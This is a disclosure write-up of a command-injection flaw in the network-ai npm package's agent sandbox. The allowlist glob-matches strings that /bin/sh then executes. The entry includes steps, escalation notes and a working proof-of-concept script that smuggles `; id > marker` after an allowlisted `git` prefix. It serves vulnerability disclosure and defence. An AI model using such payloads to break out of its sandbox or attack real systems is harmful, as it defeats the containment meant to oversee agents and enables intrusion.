# Network-AI: Improper Neutralization of Special Elements used in an OS Command

Network-AI's sandbox allowlist glob-matched whole command strings but executed them via /bin/sh -c, so `git *` allowed `git status; id` and arbitrary command execution.

- Payout: Research
- Severity: critical
- Program: Network-AI
- Found by: lexdotdev
- Disclosed: 2026-06-19
- CVE: CVE-2026-54051
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-qw6v-5fcf-5666
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qw6v-5fcf-5666
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** npm package network-ai agent sandbox (SandboxPolicy/ShellExecutor)
**Root cause:** isCommandAllowed glob-matches the entire command string (with `*` compiled to `.*`) without tokenizing or rejecting shell metacharacters, while ShellExecutor passes the same string to `/bin/sh -c`, so matching and execution disagree on what a command is.
**Steps:**
1. Install the vulnerable package: `npm i network-ai@5.8.5`
2. Create a SandboxPolicy with a wildcard allowlist entry: `new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] })`
3. Build payload `git status; id > ${marker}; echo INJECTED` and confirm `policy.isCommandAllowed(payload)` returns true
4. Call `new ShellExecutor(policy).execute(payload)`
5. Observe the injected `id` output written to the marker file, proving arbitrary command execution
**How found:** Code review of the sandbox: noticed the allowlist matched the full command string with no tokenizing or metacharacter check, then traced that the same string is handed to `/bin/sh -c`, revealing the mismatch between matching and execution semantics.
**Exploitation:** Any agent or caller permitted to run commands submits a string beginning with an allowlisted wildcard prefix (e.g. `git `) followed by `;`, `|` or `$(...)` and an arbitrary command. The glob allowlist accepts the whole string and `/bin/sh -c` interprets the metacharacters, executing the injected command as the orchestrator process.
**Escalation:** `node *` and `npm *` wildcard entries yield direct code execution even without metacharacters; the bypass defeats the primary containment control against a compromised agent.
**Insight:** When an allowlist validates a string but a shell later interprets it, the two parsers must agree; any wildcard prefix allowlist (`git *`, `npm *`) is effectively unrestricted execution. Check whether the executor uses `shell: true`/`/bin/sh -c` and whether metacharacters are rejected before matching.

## Proof of concept (copied exactly from the original report)

**PoC script injecting id via git wildcard**

```
'use strict';
const os = require('os');
const fs = require('fs');
const path = require('path');
const { SandboxPolicy, ShellExecutor } = require('network-ai');

(async () => {
  const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-'));
  const marker = path.join(base, 'PWNED-316.txt');
  const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] });
  const sh = new ShellExecutor(policy);

  const payload = `git status; id > ${marker}; echo INJECTED`;
  console.log('version:', require('network-ai/package.json').version);
  console.log('allowed:', policy.isCommandAllowed(payload));

  await sh.execute(payload);
  const ran = fs.existsSync(marker);
  console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : '');
  console.log(ran ? 'VULNERABLE' : 'not reproduced');
  process.exit(ran ? 0 : 1);
})().catch(err => { console.error(err); process.exit(3); });
```

